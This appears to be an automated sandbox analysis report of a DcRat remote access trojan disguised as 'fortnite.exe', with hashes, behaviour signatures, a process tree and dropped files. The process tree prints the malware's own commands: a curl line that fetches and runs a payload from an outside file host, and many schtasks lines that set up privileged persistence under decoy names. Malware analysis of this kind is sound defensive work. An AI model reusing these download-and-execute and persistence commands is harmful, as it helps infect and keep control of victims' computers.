Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    03-11-2024 14:50

General

  • Target

    fortnite.exe

  • Size

    1.3MB

  • MD5

    1c16bf40db9d99d8a4f882ee6f00af78

  • SHA1

    82c7fdf41cd5681210da9214faa247fd26bcd350

  • SHA256

    9bfc9ba2bb3b295e72a6898bfa7ed7a77421d06a0886b27dc6c79e40f90e7877

  • SHA512

    378779c8be8bfef6bc2fa60bc6db618a1edc7ccd1fa130b992350ed2c28d9c87f0790b589ad3e498792ca02183286261e1f941b64f1098c1aa8eb109b61ba38a

  • SSDEEP

    12288:8lOYMXO4mKrGuiQa47F6zKRbOQCLqn4UxCj2AqeMQm5ZQyRWkhuq3nbep3+bKDZb:8iXdm+oHLqn4uGKF5lpC+bKlAtc06x

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3924
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3200
      • C:\Windows\system32\curl.exe
        curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
        3⤵
        • Drops file in Windows directory
        PID:1040
    • C:\Windows\Speech\physmeme.exe
      "C:\Windows\Speech\physmeme.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4584
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1556
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2180
          • C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe
            "C:\BridgeHyperBlocknetdhcp/MsHyperDhcp.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2876
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\qXenYG2qam.bat"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4536
              • C:\Windows\system32\chcp.com
                chcp 65001
                7⤵
                  PID:1032
                • C:\Windows\system32\PING.EXE
                  ping -n 10 localhost
                  7⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:4960
                • C:\Recovery\WindowsRE\fortnite.exe
                  "C:\Recovery\WindowsRE\fortnite.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2364
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\winlogon.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4416
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Default User\winlogon.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3160
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\winlogon.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2972
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "fortnitef" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\fortnite.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3240
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "fortnite" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fortnite.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1248
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "fortnitef" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\fortnite.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3224
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 10 /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3144
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:764
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4304
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Start Menu\conhost.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2888
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Default\Start Menu\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1904
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Start Menu\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1592
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\smss.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3348
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\Default User\smss.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:552
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "smsss" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\smss.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1160
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 6 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:5020
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "MsHyperDhcp" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3148
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 6 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4360

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe

      Filesize

      253B

      MD5

      4bb32a75d150d0312a4f6b779f0b181a

      SHA1

      03dd7971f5534a9d5871fc936c40b7aa28c58de8

      SHA256

      1590ca47cc698690025d71afb485ec10be508fc5330e5d074b992f9e4f509b0e

      SHA512

      91d0806fa988cbbdcfa0ec80b69236f8056b0170e484fbc9c7486bca63efdec9bd93f9a31568ac5fe7ef7dd63e7eb88c27be4928ac8e132445c8340bc3a2fff6

    • C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe

      Filesize

      1.8MB

      MD5

      8eedebc3e9237f67772e3fc3c3d798ea

      SHA1

      a87e1c10ddbc4c7fdbb69437647f4910216ec689

      SHA256

      2f1c931ea2ef0cb95382657e6947cab4cb463519e1316d5fc3cd752f8de29301

      SHA512

      2cf1015562ea15f3a04a7ca0fbdef489cd84ccc555facec9d94ca890365d7a65b5974442b4d36918d284c8b1cd81b905698eb7fa99b8dc14c55f5cdb05f7c8b9

    • C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat

      Filesize

      86B

      MD5

      280356ba496d0f7d9a0d88c1e5786d93

      SHA1

      d5ccc97c0f4e07736f44240ce25dfcbc93c6ccad

      SHA256

      f6a0387019b90b50ff47c15052970372fec47420680d0d576e0288a0fa632aad

      SHA512

      0bd118a4766c777b2574ac1f5cfd3f71bf3f4698c6a9b6b856abf75c35ff2c47cbdf4a72189155f23cfaf1b340adf1db5ad2fe0acbe16bb60add7850ac0c1ffd

    • C:\Users\Admin\AppData\Local\Temp\qXenYG2qam.bat

      Filesize

      162B

      MD5

      dac56501f0dde6baafd7e88a20e6321a

      SHA1

      da9b8bdfa9c182585e0993406786162f70661bb0

      SHA256

      e035523d9ce63fd2e57595f8993e029d86ee4d772555543c260151106589f4ce

      SHA512

      0f5945ba40d7347961010080aeb55b25cfef2c0ec544ee88535bcd27a8230446c37a740d0699ef2dbe94b5d08e7e1d9877c01f287f4d1e8e255ad2c1759a1dca

    • C:\Windows\Speech\physmeme.exe

      Filesize

      2.1MB

      MD5

      e0216529a1eaed9f919e40074ca84f33

      SHA1

      3c2c9e6fc0e096b8aba3c96b3c23431a8aa17cc8

      SHA256

      48cead232045bf8ed6d8dbca3e2072be474fd74ad8901e7a3febe44a9315e5c1

      SHA512

      e03c5823c27b7f6b4b61ecd48a2ab1019da4e10d3de53965a183b03ef5ebdba07532d28e6284b51ceceb7fc4794719220038faccd5cb9d2a767dd82697a969df

    • memory/2364-46-0x000000001BDE0000-0x000000001BE4B000-memory.dmp

      Filesize

      428KB

    • memory/2876-18-0x00000000006E0000-0x00000000008B2000-memory.dmp

      Filesize

      1.8MB

    • memory/2876-20-0x00000000010C0000-0x00000000010CE000-memory.dmp

      Filesize

      56KB

    • memory/2876-22-0x0000000001110000-0x000000000112C000-memory.dmp

      Filesize

      112KB

    • memory/2876-23-0x000000001B590000-0x000000001B5E0000-memory.dmp

      Filesize

      320KB

    • memory/2876-25-0x0000000002B30000-0x0000000002B48000-memory.dmp

      Filesize

      96KB

    • memory/2876-40-0x000000001BFA0000-0x000000001C00B000-memory.dmp

      Filesize

      428KB